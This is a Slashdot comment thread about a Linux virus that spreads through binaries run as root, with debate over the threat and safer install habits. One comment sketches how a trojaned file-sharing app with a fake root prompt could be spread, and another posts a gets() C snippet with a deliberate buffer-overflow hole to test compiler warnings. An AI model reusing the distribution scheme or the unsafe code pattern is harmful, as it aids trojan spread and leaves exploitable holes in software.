      I was going to debate you, but then I remembered it never makes sense to argue with people who are only interested flaming, not rational discussion. If you ever want anyone to take you seriously, try omitting "If not, then shut up" from your usual reply.

      On the "silver lining" side, I get to further test out these new slashdot personalized mod features. Sweet!

    2. Re:DOS 7 virus alert! by AnotherBlackHat · · Score: 2

      (Is is just be, or does it seem silly to give any time to a "virus" that requires you to run a binary while rooted?)


      It's not just you, but it's also sadly not silly.
      There are far too many programs that need to be installed as root for my tastes, and it's not hard to image some users accidentally runing something as root that they shouldn't.

      The vast majority of install scripts should at least have an option to install in a users home directory, (grep doesn't need to be in /usr/bin to work) or better than an option, most could recogonize that they aren't being run as root, and just do the right thing.

      If a program absolutly positively must have root privilages to install, then it should have an install script that is seperate from the make script so it's as easy as possible to look over what it wants to do as root. Generally, it wouldn't be anything more than short list of cp commands. This would also make it much easier to unistall the software, which is something that far too many authors forget is desirable.
    3. Re:DOS 7 virus alert! by damiam · · Score: 3, Informative
      This would also make it much easier to unistall the software

      Use checkinstall. Run it instead of make install and it'll create a rpm | tgz | deb package to install (and uninstall, if need be) with your packaging system.

      --
      It's hard to be religious when certain people are never incinerated by bolts of lightning.
  16. They're Trying So Hard... by Greyfox · · Score: 4, Insightful
    To make it look like it's actually a threat. Oh yeah, it'd be dead simple to entice users to download a binary as root and run it. Yeah, once we give the user a frontal lobotomy and he believes everything we say, it is dead simple to do that. Oh yeah, it'd be a major threat if it infected binary files on sourceforge...

    Has anyone actually seen this virus in the wild? I can't imagine it'd actually propigate...

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

    1. Re:They're Trying So Hard... by Arandir · · Score: 3, Insightful

      Oh yeah, it'd be dead simple to entice users to download a binary as root and run it.

      Yes, very simple.

      "Check out this cool theme! Just run install.sh." Then the installer then says "you must be root to install this theme, please enter password:". Now before you even know you are rooted it's scanning your address book for other victims.

      What? You say you're not that stupid? Fine. While you're laughing at everyone else getting slammed by such as transparent trick, remember that the people maintaining the site where you grab your "trusted" binaries from might be one of them.

      The only really secure solution is extreme paranoia.

      --
      A Government Is a Body of People, Usually Notably Ungoverned
    2. Re:They're Trying So Hard... by shinji1911 · · Score: 2, Insightful

      There are several answers to this. Besides the 'never run strange things as root' mantra, there is also the 'compile from source whenever possible' mantra, as well as the 'patch system from local and remote exploits judiciously' wisdom.

      Alternatively, for the Ultra-Paranoid, you can simply run OpenBSD where most everything you need is included in the base install, and all "approved" 3rd party apps (ports/packages collection) have at least had source code closely examined by people with minds for code far better than yourself.

    3. Re:They're Trying So Hard... by rtaylor · · Score: 2

      Extreme paranoia? Who told you that? Why should I believe it? Go away, I'm not really here!

      --
      Rod Taylor
    4. Re:They're Trying So Hard... by kilrogg · · Score: 2
      The point is that in outlook (or windows) you open files (doc, xls, etc) and run executables in exactly the same maner (double click on an icon). This, combined with the fact that windows hides extensions by default, makes it easy to fool people into thinking they're opening a file when infact they're running a script or executable (.shs files are an excellent example, it has a notepad like icon)

      By contrast linux mailer make you save the file and chmod +x it, therefore you are fully aware that you are about to execute something rather than open it in a text editor or word processor.

    5. Re:They're Trying So Hard... by Andrew+Dvorak · · Score: 3, Funny

      And if it were actually a threat, then maybe this might be a noteworthy story. But nobody uses Linux anymore!

    6. Re:They're Trying So Hard... by dasunt · · Score: 2

      I would like to disagree.

      For example, lets say I'm talented enough to manipulate the search engines into giving a website a high return rating.

      Then, on this website, I have a page dedicated to p2p filesharing apps, some of which are custom wrote. (Not that hard, can just grab gnut, put a nice gui wrapper around it, and I'm done). The gui-gnut app will be infected with a virus, and the install will request you to run it as root. (Maybe with a simple message, such as - "Can't write to /blah/blah, are you root? (type 'guignut_install -help' for more info)").

      Now I have a nice trojan combined with a working app. The plus side is, since its a p2p filesharing app, there's a good chance that the computers I'm infecting have a better then 56k connection. Being a filesharing app, it also doesn't raise suspicion when the app tries to talk to the outside world. Heck, I could probably look at the gnutella protocol to make the phone-home message very simular in appearance.

      Now I just have to hit a few redhat-newbie forums, and post the message about a new filesharing app I found.

      There, you have a linux virus that spreads in the wild, even if its not a win32 worm.

    7. Re:They're Trying So Hard... by Alsee · · Score: 2

      &GT"you must be root to install this theme, please enter password:"

      If only those two steps were required to run malicious code on a Microsoft machine. Instead of thousands of morons infecting themselves and their friends, you'd have thousands of morons calling tech support to ask what the hell "root" is.


      Hello, techsupport speaking.
      Yes.
      Oh, I'm doing good. And you?
      Oooh, I see. I'm sorry to hear that.
      Uhuh. Well I hope you feel better.
      Yes.
      You're welcome.
      So what seems to be the problem?
      Oh, I see. That's a real bummer.
      Yes, yes, I understand...
      No, no, I don't know.
      No, I couldn't even guess about that. Oh, um, by the way... were you having a problem with your computer? You know, that you might have called me to help you with a tech support problem?
      Ah, good. Yes, I might be able to help with that.
      Ok. So what were you trying do do?
      You tried double clicking on it?
      And what did it say?
      What was the error message?
      Try running it again.
      Good. now read the message to me.
      Run it again, and read everything to me exacty.
      Ok, I'll hold....
      HmmmMMMmHmmm....
      HMMMMhmmmHmmmm....
      hmmmhmmmhMMMHmmm...
      Ah, hello?
      Ok.
      Now what does it say?
      Run. It. Again. And. Read. It. To. Me. Exact-ly.
      Ahhhhhhh! Okay. Now, is this a system disk?
      Because system programs usually need to be run as root.
      So, is this a system disk?
      I mean is it on a disk that came with the computer.
      Right. Was it on one of those?
      Is it on one of the disks that you got at the same time you bought the computer?
      Oh, it's NOT on a disk. Then where is it?
      Yes, I understand it's on the computer.
      Where did you get it then?
      Ah, the web. So you downloaded it.
      No, downloaded means you got it from the internet.
      So you didn't download it?
      Ummmm, so how did you get it on your computer then?
      Yeah - and it was over the phone from where?
      All tabin-something?
      OOoooo! You mean a Newsgroup.
      groan
      No, no, nothing...
      It's not working because you're not running as root.
      No, our software doesn't run as root.
      I mean it doesn't have root access.
      sigh We didn't put a root in our software.
      No, we didn't put one in the new version either, so that won't help.
      Yes. I understand that.
      Right. It needs root, and you don't have it.
      Nope.
      Nope, sorry. You can't get one from the web.
      No, you can't download a root from a newsgroup.
      Right, All tabin means newsgroup.
      Wait, Do you have any children?
      How old is he?
      13? Ah, good. He probably has root.
      Where did he get a root? Ummmm - uhhhh, just ask him if he has one when you see him.
      Yes?
      Yes. I understand it would help if we put a root in our software.
      Ok. I'll be sure talk to our programmers and ask them to include a root in the next release.
      Your welcome.
      Have a nice day, and thank you for choosing AOL.
      Hm?
      Oh, you don't? You called here....
      I see.
      Yes,
      sigh, I have their number right here....
      Oh, no. It's no trouble. I usually have to give their number to someone almost every day.
      It's 1-800-824-2424.
      No, they don't have a root either.
      No, i'm sure.
      Well, ok, good luck anyway.
      Oh, what is a root? Well, when the operating system has full...
      Yes, your computer has an operating system.
      Yes, I'm sure. It came with the computer.
      Root? Yeah. That is when the computer is in root mode and it means it can... ummm... wait a minute. I have an idea.
      Why don't you just ask when you call them? I'm sure they can explain it better than I can.
      You too!
      You're welcome! Bye-bye!
      &GT CLICK! &LT
      God, I almost feel sorry for the poor slob that has to answer the next call over at MSN tech support.


      -

      --
      - - You can't take something off the Internet! That's like trying to take pee out of a swimming pool.
  17. Success of an OS means... by cliffy2000 · · Score: 3, Funny

    More virii. Glad that no one likes the Mac but me and two other people... Sevendust is the last major threat we had...

  18. What about... by bjsvec · · Score: 2, Redundant

    ./configure
    make
    su -
    make install

    I'm sure everyone doesnt audit every line of code
    before doing this...

    -b

    1. Re:What about... by totallygeek · · Score: 2
      ./configure
      make
      su -
      make install

      I make /usr/local/staffbin writeable by group staff, and add users to that. The paradigm becomes ./configure --prefix=/usr/local/staffbin make make install (no root needed) As for exactly what you noted, you would want to use su without the hyphen, or you would have to change directories before your make install.

  19. Re:OpenBSD.. by The+FooMiester · · Score: 5, Funny

    .. runs your Linux binaries (if you can't get source)..
    .. runs your FreeBSD binaries (if you can't get source)..
    .. remember most "Linux" code is just generic UNIX C..
    .. Be safe, run OpenBSD.


    Whereas, I'm working on porting this virus to NetBSD, and putting it in the pkgsrc collection, so it can be enjoyed on a VAX, an Amiga, hey, you name it! You too can feel "cool" when your alpha gets infected. Who says the only people who get viruses are those running intel boxen with windows!

    And for the netBSD/toaster port, I guess I'll just have to make it burn the toast on one side, and leave the other side raw.

    --
    The previous has been a secret message to my comrades.
  20. Is this REALLY a problem? by Restil · · Score: 4, Insightful

    I can write a binary that when run by root will erase your entire system. And I can probably do so in under a minute. Somehow, I doubt it will ever hurt anyone. Anyone smart anyhow.

    Programs that exploit security holes are far and wide. Yet, they are typically released as source code, usually attached to messages in security mailing lists. We can take a quick glance over this source before compiling it and running it. And besides, if it IS your typical exploit code, nobody needs to run it as root. To do so would defeat the purpose of having an exploit in the first place.

    I do like the statement, however, that linux users are less likely to open unknown attachments. Says quite a lot about our community right there.

    -Restil

    --
    Play with my webcams and lights here
  21. Re:Protection? by sjehay · · Score: 5, Informative
    Yes - well, sort of. There are plenty of anti-virus programs out there, such as:

    and so on. Symantec/Norton also has a Linux/UNIX binary which is certainly bundled with the network-wide thing, I don't know if it's available separately. The trouble with all of these things is that although they are Linux applications, they detect Windows virii - they use the same signature files as the versions on other platforms do. This means they're very good for running on file/e-mail servers to protect the poor Windows machines behind them (which is what they're intended for) but they probably won't stop the subject of this post, for example. Basically, yes, they exist and work well but make sure you know what you're hoping for them to do...

  22. I wont be running it!! by gorre · · Score: 4, Funny

    Who would run a virus that is distributed as a binary only? Everyone knows no self respecting linux user uses software unless the source is available! Until they release this virus under the GPL I for one will be staying well clear of it.

    --
    "Madness is something rare in individuals - but in groups, parties, peoples, ages it is the rule." -- Nietzsche
    1. Re:I wont be running it!! by Alsee · · Score: 2

      Until they release this virus under the GPL

      Every virus that is released under the GPL enriches the entire community many times over. More people can freely benefit from the virus. And with more eyes to look over the code, bugs will be hunted down faster. And everyone can contribute new code and functionality. Best of all, everone can be confident the virus will be incredibly stable and secure.

      The only drawback is that you will inevitably have the occational fork dividing resources and needlessly duplicating work.

      -

      --
      - - You can't take something off the Internet! That's like trying to take pee out of a swimming pool.
  23. Umm by PlaysWithMatches · · Score: 2, Informative

    Perhaps I'm wrong on this, but this is a trojan, not a virus. Viruses reproduce and spread automatically, and from the article's description, this does not. Requiring users to run something at each point that it infects is NOT a virus, it is merely a trojan horse.

    --

    Mozilla's a nice operating system, but it needs a better browser.
    1. Re:Umm by demon · · Score: 2, Insightful

      No. It's a virus - it attaches itself to an executable, and spreads to others by being run. A trojan horse is a program that is designed to look like some (legitimate) program, and may do what it advertises, but has some "extra" features that involve subverting security, damage and destruction (or some combination of those).

      --

      Sam: "That was needlessly cryptic."
      Max: "I'd be peeing my pants if I wore any!"
  24. Running binaries as root by adadun · · Score: 5, Informative
    Ya, I run lots of unknown binaries while logged in as root, it's my favorite activity.
    I realize of course that you are joking, but I do believe that a lot of users run a lot of untrusted stuff as root. How many times have you run "make install" as root? I certainly have done it a few times for software packages that I downloaded from untrusted sources and without having read through the entire Makefile first. Who knows what kind of programs that I might unwillingly have run as root?

    RPMs or other packages that are downloaded from more or less untrusted locations without encryption signatures might very well run a few evil scripts during the installation process (which, of course, is done as root).

    To be really sure, one should always install new programs in a chrooted jail; the software should be installed in a totally new branch of the filesystem tree and the installation process should not be able to read of write to other parts the filesystem.
    1. Re:Running binaries as root by BlueWonder · · Score: 5, Informative

      How many times have you run "make install" as root?

      Never. I want to have full control over and knowledge of where each file is installed.

      If the Makefile has been generated with GNU Automake (which is true for maybe 90% of all Makefiles I encounter), there is an easy solution: Install with make install DESTDIR=~/tmp as ordinary user, and if you agree with the file layout under ~/tmp, cp the files to their final location as root.

    2. Re:Running binaries as root by rsklnkv · · Score: 2, Insightful

      I like that.
      I expect to examine a package when I plan on installing it on a system I use for many 'important' tasks.
      Take two extra minutues and use a bit of caution when accepting a gift horse. A lot of programs come with source code, making it even easier to verify integrity.
      Would the computer community in general not be better off learning how to be pro-active about computer security?Is this too much to ask of people in general? To follow a few instructions to make sure they are not installing some root kit?
      I hope not. Then again, people are SO busy, and should not have to take time for such things as LOOKING OUT FOR THEMSELVES>:]

      I guess thats just my opinion.

      Cheers!
      rsklnkv@houseofthedead.org

      --
      _____ "If liberty means anything at all, it means the right to tell people what they do not want to hear." -- Orwell
    3. Re:Running binaries as root by Drone-X · · Score: 2

      How does that help? To be save you'd have to check the source code and install scripts. Seeing what files you end up with isn't going to help you against a trojan.

    4. Re:Running binaries as root by sunhou · · Score: 3, Funny

      How many times have you run "make install" as root?

      No longer. You guys have got me so paranoid about running things as root now, I made a new account called "safe" to safely install programs. Although I found I had to make the UID of that account be 0 in order for it to work correctly...

    5. Re:Running binaries as root by one-egg · · Score: 2
      It's much harder to avoid giving root privileges to nasty software than you think. A chrooted jail won't help unless you never use the software outside that jail, which sort of defeats the purpose of downloading stuff.

      It's easy to write a virus that starts completely unprivileged but gradually infects more and more stuff, sitting dormant until eventually something that it infected gets run by root. To keep from helping script kiddies, I won't describe the details, but many Slashdot readers will have no trouble figuring it out.

      Ten years ago, I wrote a proof-of-concept virus to demonstrate this idea, based on some vague comments by Klaus Brunnstein.

    6. Re:Running binaries as root by GypC · · Score: 2

      Make a root cron job to regularly back up /home to an area that's writable only by root...

  25. Things that make you go hmmmmm by tiny69 · · Score: 5, Interesting
    Managed security provider Qualys obtained a copy of one new variant last month from an "outside source," according to Gerhard Eschelbeck, vice president of engineering.
    So he wasn't actually infected by it. Sounds like someone gave him a proof of concept prototype.
    To date there have been "limited" reports of the new RST variant in the wild, according to Eschelbeck.
    Reports to who?
    To replicate, the virus requires users to run an infected program from an account with "root" permissions.
    Only a complete moron would run would do this.
    Although many Linux users do not run anti-virus software, they are generally more sophisticated about security threats and are unlikely to click on executable e-mail attachments, he said.
    Exactly. From what I've heard else where, it sounds like the "virus" is similar to the old COM virues from the MSDOS days. Yes, they may have a copy of a "virus", but the whole thing sounds fishy to me.
    --
    Go not unto/. for advice, for you will be told both yea and nay (but have nothing to do with the question)
    1. Re:Things that make you go hmmmmm by ryanr · · Score: 3, Informative

      He was probably mailed a copy, same as I was. (That is, someone said "here's a virus I found", not that they were trying to hide it.)

      I've got no way to tell that the person who sent me my copy isn't the author, but I've also got no reason to suspect he is.

      In any case, this is why I can't speak to whether the virus is "in the wild". But, it exists, and it works, so I passed the info along.

  26. I'm not a hacker ! by Tusaki · · Score: 2, Funny

    I'm a security researcher.

  27. Re:Protection? by gatesh8r · · Score: 2, Insightful

    Good point, and there should be a focus on the potentual of Linux virii out there (though most of the focus has been on fixing probable remote exploits which in itself can do some contaminations since some servers NEED root permissions to run.) Again, distros SHOULD turn off servers by default, don't let X run its listener, etc, etc, to prevent remote exploits but also there needs to be a focus to scan for virii especially if you have a heterogenus network to work with in case there's multiple platforms that could be targeted. Though the article is correct; the reason why we Linux users don't get targeted is because we know better. This will change if Linux starts to gain market share to a point of at least 15%-25%. Either this 15%-25% will be bright, or they will be gullable to virii, I can't say.

    --
    Karma whorin' since 1999
  28. About time... by 42forty-two42 · · Score: 2, Funny

    Finally, the most popular genre of windows software has been ported to Linux! Goodbye, WINE!

  29. Once again proving.. by _aa_ · · Score: 4, Redundant

    ...the only real security hole is 'User Error'.

  30. hey, Linux is making progress by markj02 · · Score: 2

    Not only are people bothering to write viruses for it, the popular press now refers to Linux as in "programs written for Linux, an alternative to Microsoft's Windows".

  31. I am now officially an optimist. by tunah · · Score: 2
    I've been running nothing but linux for the past month. During that month we've had (for example) the huge XP hole, plus any number of viruses (and a couple of virii ;-). The *first* time I boot into windows, I load up /. and what do I find but a story about a linux virus?

    My glass is half full.

    --
    Free Java games for your phone: Tontie, Sokoban
    1. Re:I am now officially an optimist. by tunah · · Score: 2

      I had to run delphi. Sure, kylix is KIND of delphi (where KIND=Kylix Is Not Delphi :) but I'm writing an util for a windows-only program :(

      --
      Free Java games for your phone: Tontie, Sokoban
  32. Re:Protection? by SCHecklerX · · Score: 3, Insightful
    I know suse (ick..begin forced to use it at work, sigh) has something as part of its distro.

    Personally, I consider anti-virus software viruses themselves. They often cause more problems and interfere with your system much more than any 'virus' Just look at what they do...constantly run, constantly run every file access against a big-assed hash table, possibly causing problems with legitimate software. No thanks.

  33. The "root" issue by Anonymous+Brave+Guy · · Score: 3, Informative
    (Is is just be, or does it seem silly to give any time to a "virus" that requires you to run a binary while rooted?)

    A lot of smart alecs here are making light of this, but let's face it, the smart thing is to give time to any virus at all. Tell me you've never, ever, left yourself in as root by mistake. OK, now tell me no-one else has. 'Nuff said.

    --
    If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
    1. Re:The "root" issue by startled · · Score: 2

      Well, I've certainly never left myself as root while running unfamiliar executables. I can't tell you no one else has, but I think it's quite minimal.

      But sure-- a little blurb on /. can't hurt anything, and might save a couple boxes. We still have to make fun of it, so that anyone it hits will feel really bad about it when they read about it later on their friend's box....

    2. Re:The "root" issue by archen · · Score: 3, Funny

      that's why I change the colors on the root shell to be as painful as possible. Lots of bright green does the trick. You tend to never forget your root that way, and try to stay away from being logged in as root.

      or you just use 'su' more often..

  34. Remember the MIcrosoft Mantra of the old days? by OS24Ever · · Score: 2

    DOS isn't done until Lotus won't run.

    --

    As a rock-in-roll Physicist once said, No matter where you go, there you are.

  35. Re:And you're right... by spectral · · Score: 2, Insightful

    Who do email attachments target in windows? Windows newbies. Who run things as root without checking to make sure they're safe or thinking about what they're doing? Linux newbies and lazy people.

    This virus would probably get me.. though I usually only get executables in packages made by my distro manufacturer (it's just easier and almost guaranteed to work), I find it annoying to su constantly, so I often just play around on my own box as root. I wouldn't administer a server that way (should someone ever be stupid enough to give me the responsibilities of doing so), but I don't think that's who the virus is targeting.

  36. Lest we dismiss this too lightly... by CatherineCornelius · · Score: 5, Insightful
    A reminder is perhaps due here that the first internet worm program to cause significant damage (the Morris worm) was released in the 1988 and infected UNIX systems through a well known vulnerability (yep, good ole gets(3)) in the fingerd daemon.

    And waddaya know, UNIX application programmers are _still_ using the occasional gets(3) call in setuid root programs, more than a decade later, despite the fact that we all know that it doesn't check for buffer overflow and that a buffer overflow _can_ be used (read: _has_ been used in the past) to make a program execute code of the worm writer's choice and bring a significant part of the internet grinding to a halt.

    1. Re:Lest we dismiss this too lightly... by seanadams.com · · Score: 2, Informative

      UNIX application programmers are _still_ using the occasional gets(3) call in setuid root programs, more than a decade later,

      I doubt it - name one! Try compiling this on your machine:

      #include <stdio.h>
      int main (int argv, char *argc[]) {
      char str[100];
      gets(str);
      }

      I don't think there's ANY recent libc that will not print a harsh warning, and some will even refuse to compile it. I know this because I recently had to go through an ancient program for creating phylogenetic trees, and change dozens of gets to fgets to get it to run on FreeBSD.

    2. Re:Lest we dismiss this too lightly... by seanadams.com · · Score: 2

      I stand corrected. It's just mindboggling that they still let you use gets() - it's unsafe for practically anything! At least the man pages I've seen tell you not to use it, though there are probably exceptions there, too. :)

      You should at least have to give a flag like -DYES_I_KNOW_IM_A_RETARD_FOR_USING_GETS

  37. Re:What about... err... KDE? by Juggler+cant+juggle · · Score: 2, Insightful

    You'd read all of the source that KDE or Gnome requires for compilation and installation?

    Not likely.

  38. Worse than running something as root by Raul+Acevedo · · Score: 5, Insightful

    It doesn't matter if it requires root privs to run. Most programs have to be installed as root, and that's all that is needed. The make install step can do something nasty without telling you (how many people fully read & understand the Makefiles in the above scenario?), or it can install a trojan version of ls or any other program.

    --
    In a real emergency, we would have all fled in terror, and you would not have been notified.
    1. Re:Worse than running something as root by foobar104 · · Score: 5, Interesting

      how many people fully read & understand the Makefiles in the above scenario?

      Which brings up an interesting point: write-only code. I've tried to read and understand autoconf-generated Makefiles a few times, and given up with my head spinning. They're a tangled web of M4 macros and such.

      Computer-generated code is notoriously hard to read, and install scripts are one instance where reading the code is important.

      I only wish there were a way to improve autoconf and other code generating programs without having to have a massive security breakdown happen first to inspire the work.

    2. Re:Worse than running something as root by psamuels · · Score: 2
      Which brings up an interesting point: write-only code. I've tried to read and understand autoconf-generated Makefiles a few times, and given up with my head spinning. They're a tangled web of M4 macros and such.

      Which autoconf-generated Makefiles? Try diffing your favorite write-only Makefile against its corresponding Makefile.in - I think you'll find that autoconf isn't doing the damage here. Maybe you meant automake, which takes a Makefile.am and produces Makefile.in.

      If you are referring to the Makefiles in gcc, gdb and binutils - yes, they are hairy messes, which have little to do with autoconf and much to do with the complexity of accomplishing the task at hand without using any advanced 'make' features. Apparently the Free Software Foundation wants their software to compile with anybody's version of 'make' back to about 1985.

      --
      "How can you claim that you are anti-crack, while still writing a window manager?" — Metacity README
    3. Re:Worse than running something as root by Simon+Brooke · · Score: 2
      The make install step can do something nasty without telling you (how many people fully read & understand the Makefiles in the above scenario?)

      This may seem obvious, but in case it hasn't occured to someone:

      yourself$ make

      make the program

      yourself$ make -n install

      Show exactly what make install will do, without doing any of it; read the output carefully and make sure you approve

      yourself$ su -c 'make install'

      This way you get to check through what a 'make install' is going to do without exposing yourself to risk. Might be even better still to have a special user identity (not your usual login) under which you build untrusted software, but I haven't got that paranoid yet.

      --
      I'm old enough to remember when discussions on Slashdot were well informed.
    4. Re:Worse than running something as root by Papineau · · Score: 3, Insightful

      But you can read the file before it is processed by autoconf and/or automake.

      If you trust those 2 programs to not have backdoors (along with all the M4 macros) and to correctly process their input files, the config.in and Makefile.in are a lot easier to read.

      It's the same thing with a C source file: you don't read the ELF executable, you read the C file. The source to a lot of configure scripts is config.in, and the source to Makefile is Makefile.in (or Makefile.am, I do not have a lot of experience with it).

      Of course, what doesn't help is that a lot of trees use recursive Makefiles, so you have to read all of them and check that they are not modified during the installation. Then, the build system is out of the equation and you can concentrate on the actual program.

    5. Re:Worse than running something as root by foobar104 · · Score: 2

      Which autoconf-generated Makefiles? Try diffing your favorite write-only Makefile against its corresponding Makefile.in - I think you'll find that autoconf isn't doing the damage here. Maybe you meant automake, which takes a Makefile.am and produces Makefile.in.

      I stand corrected.

      In my experience, automake produces write-only Makefiles.

    6. Re:Worse than running something as root by mwa · · Score: 2
      Better yet:

      yourself$ make install prefix=/tmp/fake-installroot

      Anything that "has to be root" to install will fail, showing you clearly what it's trying to do. Everything else is "installed" in the target directory so you can see what's happening there, too.

    7. Re:Worse than running something as root by Sax+Maniac · · Score: 2
      Most programs have to be installed as root, and that's all that is needed.

      Hee hee! No, they don't, not if you know what you're doing. Most programs need to be installed as the same user ID that owns the directory where you binaries are. That doesn't have to be, and should not be, root.

      chown -R bin:bin /usr/local

      Now, when you install something, su to bin, not root. Much better.

      Once in a great while, some programs require to be root (setuid-root) to run. Stuff that accesses privileged ports, usually, and most of them are very careful to switch away from root once they've accessed the resource they need.

      --
      I can explanate how to administrate your network. You must configurate and segmentate it, so it can computate.
    8. Re:Worse than running something as root by Sax+Maniac · · Score: 2
      Yeah, but you might run it as root, and probably not. Most of the stuff you run as root are not apps, but the stuff that comes pre-compiled with your system. You also have much less people running as root, than as regular users.

      Whereas if the trojan is in the installer, and you run that as root, you will definitely run it as root.

      So, staying out of root during an install decreases your chances of activating said trojan.

      Pushing the odds in your favor is the name of the game. What, you thought security procedures were absolute and provide perfect protection?

      --
      I can explanate how to administrate your network. You must configurate and segmentate it, so it can computate.
  39. Looney Tunes by gozie · · Score: 2, Funny

    Who's your favorite Looney Tunes character?
    Bug's Bunny
    Daffy Duck
    or
    Elmer FUD

  40. I can think of other ways... by Tom7 · · Score: 2

    > The only way a linux virus is ever going to do
    > damage is if it gets into a package on a major
    > distro's ftp and goes unnoticed.

    How about if it,

    - infects source code (not too hard...)
    - installs itself in system headers so that all new programs compiled would include it (#define main ...)
    - infects kernel modules, or the kernel itself
    - exploits common vulnerabilities to infect new hosts or to gain root on the local host (I would venture a guess that *most* people who don't have users are not safe against all local root exploits)

    I could imagine a really good virus making its way around, especially right around the time a new remote root exploit is announced... I don't think a linux virus is that far-fetched, especially as more unsophisticated users begin using linux, and as our platforms grow more homogeneous...

  41. Re:Is this REALLY a problem? by jgerman · · Score: 2
    I can write a binary that when run by root will erase your entire system. And I can probably do so in under a minute. Somehow, I doubt it will ever hurt anyone. Anyone smart anyhow.

    Damn, I'm impressed. I could probably kick out a binary to do the same but it would take me more than a minute just to write the ELF header, not to mention the object code source. Of course if you meant write a program I'd be suprised if it took someone a full minute to do this. I know what you meant just f'ing with you a little.

    --
    I'm the big fish in the big pond bitch.
  42. Re:The nature of a virus. by mindstrm · · Score: 2

    What you describe is actually a worm, or at least, that's what we used to call it.

    Virii generall spread by either
    a) staying in memory and infecting files by some mechanism
    b) doing an infection/action run each time an infected file (or subsystem) is invoked.

    Most 'viruses' today do not infect other files at all; they infect systems, making them worms. They are software in and of their own right, running on the host system like a parasite.

  43. That list is lame (OT) by extrasolar · · Score: 2

    Okay since the outside thread is pretty boring I might as well go into off topic land.

    That list is lame. I thought it would be a list of words and phrases that are improper and just plain dumb that we hear all the time. Instead, I guess people just nominate words that they are sick of hearing. For example:

    Surgical Strike: Personally, I think this is a fine phrase that evokes a visual image. It means you are not being careless.

    Friendly Fire: Again...the meaning is obvious. It means that the there is an attack but they are not attacking you! What other phrase would substitute so concisely?

    Brainstorming: Okay...I'd like to see phrase go away. Its used to decieve...I can't think of an honest use of it. A word that I love but should never be used in a publication is "brainfart".

    Killer App: The meaning to this is very concise and is almost necessary when talking about the history of computing. Of course, it is abused a lot but that doesn't mean it doesn't have a solid useful meaning.

    So basically...a lot of the words I agree with should be banished (bleh, solutions :I ; many of the words are nice complements to the english language or associated jargons.

  44. Re:Is this REALLY a problem? by Nygard · · Score: 2

    Heh-heh.

    I do like the statement, however, that linux users are less likely to open unknown attachments. Says quite a lot about our community right there.

    <sarcasm>
    It says, "Pine makes it really frickin' hard to run a binary, and all my mother-in-law sends me are .exe's anyway!"
    </sarcasm>

    --
    "Genius may have its limitations, but stupidity is not thus handicapped." --Elbert Hubbard (1856-1915)
  45. Those who don't know history... by coyote-san · · Score: 2

    Hey, historically-challenged dude, early smallpox vaccines (which used live smallpox virus, not cowpox) WAS only used by the rich. They were the only ones who could afford to be laid up in bed for a month while the illness ran its course. The poor opposed vaccination since the virus often jumped from the rich to the poor who couldn't afford vaccination.

    In Europe this wasn't an issue - smallpox (and its high mortality rate) was a childhood disease. In the Americas it was still a rare disease, and George Washington took a tremendous gamble in vaccinating his troops on reports that the British were planning on spreading smallpox among his troops. This infection subsequently traveled down to Mexico, and back north as far as Southeastern Alaska. It's an interesting question, but totally unanswerable, how many people died in the 19th Century from the aftermath of the American Revolution, vs. the number who died from the US's own infected blankets.

    The moral of this story is that global vaccination is best, but in many circumstances a limited vaccination can be nearly as effective. Mandatory vaccination of travellers will do a lot more good than mandatory vaccination of the people who work in the fields. Securing your servers will do a lot more good than securing pockets of desktop machines.

    --
    For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
  46. Re:/dev/hdx* by ryanr · · Score: 2

    If a non-root user has infected himself, then the virus is present, and it won't be able to create /dev/hdx1 or /dev/hdx2. It also will not be able to listen for EGP packets. The damage from a non-priv user being infected will be pretty minimal, unless file permissions are loose, and others start to run infected files.

  47. Well, there's always make -n by metallidrone · · Score: 2, Informative

    Personally, I always run make -n install just to see what it is going to do (it's easier than opening the file if I think it already has the right paths set). It's one of those extra steps that Just Make Sense (TM), like prepending 'echo' when you rm with -r or with wildcards as root. You'll be glad you did when you look at the output, slap your forehead, and breath a sigh of relief. =)

    Extra sidenote: if you're compiling a program that uses GNU autoconf (etc.) to configure the makefile, you might be interested in the --prefix= option (where you can tell most sane programs to install somewhere other than the default). I always install to a test directory in my home directory before going system-wide (so I can, say, test a new version of an app).

  48. Re:Wake up! by ryanr · · Score: 2

    Good example: OpenSSH has had tens of holes just the last year

    We've got 8 in our bug database for 2001. Are you holding out on OpenSSH holes? :)

  49. Re:Protection? by JoeBuck · · Score: 2


    There aren't any Linux viruses in circulation at
    present, so there's nothing to protect against.
    The few Linux viruses that do exist seem to have
    been created as exercises to prove that it can
    be done, but they are not "in the wild".


    Linux worms, however, do exist and can be very
    dangerous. The difference between a virus and
    a worm is that, to get a virus you have to somehow run a program that you've received;
    worms attack over the network using known vulnerabilities. (There are many more worms for
    Windows, e.g. Code Red).


    The way to protect
    against them is not with an anti-virus program
    (that would be useless), but by keeping current
    with the security updates for your distribution.


    The anti-virus companies would dearly love to
    add to their business by convincing Linux users
    that we need their services. Just say no;
    their approach is not to fix the problem, but
    to just give you a list of "known criminals"
    that they can spot. Anti-virus software is
    useless against a new virus; this means you have
    to keep going back to your pusher, um, your
    anti-virus company, for updates. Actually
    improving security would be bad for business.

  50. Re:Is this REALLY a problem? by Restil · · Score: 2

    Yes... but although I type rather fast, I would definitely typo at least something once.. and forget an include file.... like you did.....

    So.. I'd have to compile... then go edit it again, fix it.. then recompile...

    then trash my system.

    -Restil

    --
    Play with my webcams and lights here
  51. Viruses by Crixus · · Score: 2

    The plural of virus is viruses.

    Rich...

    --
    Ignore Alien Orders
    1. Re:Viruses by mrfiddlehead · · Score: 2
      A somewhat more detailed treatise of this vexing issue is given here by Tom Christiansen of perl.com fame,

      Plural of Virus

      --
      :wq
  52. Backdoor/Trojan which is *source code clean* by ip4noman · · Score: 2, Interesting



    Good point. But even if your crack team of security experts inspect and approve each and every line of source code, then do a "make world", you still are not safe!

    Long ago Ken Thompson wrote a paper about a trojan/backdoor that is source code clean . This is usually accompanied with an antecdote about a guy at a computer show struggling to get his demo ready, but he forgets his root password. Just then, a bearded freaky guy from the next booth says "No problem", types a magic password, and viola! The demo proceeds as planned. The story is that every version of /bin/login has this trojan, and that this same bearded freaky guy can log in as root to any unix box on the planet ... if he wants to.

    It's possible. Read the paper!

    PS: Most linux users do not even attempt to build their systems from source. Every linux system is shipped with /bin/cc, /bin/ls, /bin/make, etc. in binary form, and thus, are all suspect. Every linux system *may* be infected with some backdoor/spyware which is just benign enough to have gone undected thus far.

  53. A little confused here... by sglane81 · · Score: 2

